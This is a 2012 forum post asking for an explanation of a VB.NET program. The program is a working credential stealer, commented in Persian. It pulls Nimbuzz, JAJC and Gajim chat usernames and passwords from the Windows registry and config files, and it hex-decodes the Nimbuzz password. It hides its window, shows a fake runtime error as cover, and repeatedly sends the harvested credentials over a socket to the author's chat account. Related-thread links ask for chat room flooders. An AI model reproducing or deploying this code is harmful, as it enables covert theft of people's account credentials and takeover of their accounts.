Anyone who can help me enter here

Subject: Anyone who can help me enter here Fri Dec 07, 2012 7:09 pm

I want to explain to me this code and how to develop e-mails

Namespace frb
Partial Public Class Form1

Friend Sub New()
InitializeComponent()
End Sub
'man ye id alaki sakhtam injuri => reza123 va paswordesho gozashtam 123456 va be id aslim add kardamesh yani be reza-dracula
'kho tun vaziiat sender mishe => reza123 pasworde sender => 123456 va reciver => reza-dracula

Private sender As String = "reza123" ' ide ferestande
Private senderpasword As String = "123456" 'passworde ide ferestande
Private receiver As String = "reza-dracula" ' ide girande
Private nim, adr, ps As String ' chanta string tarif mikonim ke badan meghdar beheeshun midim
Private a() As String ' tarife ye array
Private rza As System.Net.Sockets.Socket ' ye socket tarif mikonim ke badan vasamun etelaato send mikone
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Load ' be mahze baz shodane form
Try
' registry ro baz k.o.n va value username nim descktop ro begir
nim = "NIMBUZZ USERNAME : " & Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Nimbuzz\PCClient\Application", "username", Nothing).ToString() & vbCrLf
' ta inja reshte ya stringe nim username ya hamun id nimbuzz desktop ro gereft
' hala bazam az registry windows pasworde nimbuzz descktop ro bgir
ps = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Nimbuzz\PCClient\Application", "password", Nothing).ToString()
' alan string reshte ps havie value passworde nimbuzz desktop hastesh
' vali paswode nimbuzz deskop be surate hex hastesh va dakhele @bayteArray(pasworde hex shode) be in surat hast ke ma ebtedaye in string ro az akhare @baytearray( shoroo mikonim
ps = ps.Substring(ps.IndexOf("@ByteArray(") + 11)
' kho hala az akhare stringe ps bayad ye parantez ro hazf konim ke man bazam az substring use kardam va bad hex ro decode kardam be ansci ya text tablil kardam ba functione dehex
nim &= "NIMBUZZ PASSWORD : " & Dehex(ps.Substring(0, ps.IndexOf(")") - 0)) & vbCrLf
Catch ex As Exception
End Try
Try
' ta inja string reshte ma havie username va pasworde nimbuzz desktope
' hala bazam registry windows ro baz mikonim va value username jajc ya hamun softe just another jabber client ro migirm
nim &= "JAJCS USERNAME : " & Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\ABstract Software\JAJC\Accounts\default", "user/name", Nothing).ToString() & vbCrLf
' hala pasworde jajc ro az registry migirim
nim &= "JAJCS PASSWORD : " & Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\ABstract Software\JAJC\Accounts\default", "user/password", Nothing).ToString() & vbCrLf & "-===GAJIM===-" & vbCrLf
Catch ex As Exception
End Try
Try
' inja mikhaym file confige gajim ro bz konim bekhunim va faghat un khat hayi ke lazem hast ro be string reshte nim ezafe konim
' formule khundane file ro dar zir mibinid vali in ye rveshe mitunid az streamreader use konim nizzz
adr = System.IO.File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\gajim\config")
a = adr.Split(ControlChars.Lf) ' bazam ye arraye misazim
For i = LBound(a) To UBound(a) ' ye halghe be meghdare new line haye tu file config ijad mikonim albate bazam inja mitunid az do while o loop ham use konid
If InStr(a(i), ".name") <> 0 Or InStr(a(i), ".password") <> 0 Then ' migim age khate dar hale khundan kalame .name ya .pasword ro dasht be stringe nim ezafash k.o.n
nim &= a(i).Replace("accounts.", "") & vbCrLf ' ezafe k.o.n va kalame ecounts. ro az khat hazf k.o.n
End If
Next i
' khob alan string "nim" havie username nimbuzz desktop va paswordesh va jajc va userhaye gajim hastesh (age hame ru pce taraf nasb bashan)
Me.ShowInTaskbar = False ' ba in farman soft ro az applicatione task manager makhfi mikonim
Me.Opacity = 0 ' softemuno kamelan na mar i mikonim
' hala ye fake error be taraf mide va makhfi baghi mimune
' age dust nadarid in mesagbox namayesh dade she kolan khate zir ro pak konim
MessageBox.Show("Windows cant find fit version of runtime.", "Runtime error", MessageBoxButtons.OK, MessageBoxIcon.Error) ' fake mesage
send() ' eventaye send ro ejra k.o.n
Timer1.Interval = 100000 ' intervale timer ro be 100000 tanzim mikonim age dst darid har chan min ye bar usera be idtun send shan age dust nadarid ke kolan eventye marbut be timer1 ro pak konid
Catch ex As Exception
End Try

End Sub
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
send() ' har chand min yebar soket ro ejra mikone va send mikone user paswordro
End Sub
Private Sub send()
Try
Dim rza As System.Net.Sockets.Socket = Nothing ' ye soket tarif k.o.n ba khosusiate khate zir
rza = New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp)
rza.Connect("o.nimbuzz.com", 5222) ' host va porte socket
' xmlaye login va send pv mesage dar zirrrrrrrrrrrrr
Dim buf1 As String = ""
Dim buf2 As String = "" & sender & "" & senderpasword & "[You must be registered and logged in to see this link.]"
Dim buf3 As String = "" & nim & "" ' body havie stringe nim ke hamun user pasworda hastan ro send mikone
rza.Send(System.Text.Encoding.UTF8.GetBytes(buf1))
rza.Send(System.Text.Encoding.UTF8.GetBytes(buf2))
rza.Send(System.Text.Encoding.UTF8.GetBytes(buf3))
Catch ex As Exception

End Try
End Sub
Private Function Dehex(ByVal psw As String) As String ' inam function vase dehex kardane passworde nimbuzz desktope
Dim intLength As Integer = psw.Length
If intLength = 0 Then
Return ""
End If
Dim intCount As Integer = 0
Dim sb As New System.Text.StringBuilder(Convert.ToInt32(intLength / 2.0))
Try
For intCount = 0 To psw.Length - 1 Step 2
sb.Append(Convert.ToChar(Byte.Parse(psw.Substring(intCount, 2), System.Globalization.NumberStyles.HexNumber)))
Next intCount
Catch ex As Exception
Return ""
End Try
Return sb.ToString()
End Function

Private Shared _DefaultInstance As Form1
Public Shared ReadOnly Property DefaultInstance() As Form1
Get
If _DefaultInstance Is Nothing Then
_DefaultInstance = New Form1()
End If

Return _DefaultInstance
End Get
End Property
End Class

End Namespace

» cyberplayer plz enter here
» Project Online , Enter To room With vb6 with Frb Socket [ EN / Fa ]
» who need free gifts just enter tamila@conf.nim.com
» Please help me to make enter left and auto room flooder please :(
» hi masters can u make enter left flooder for random ids?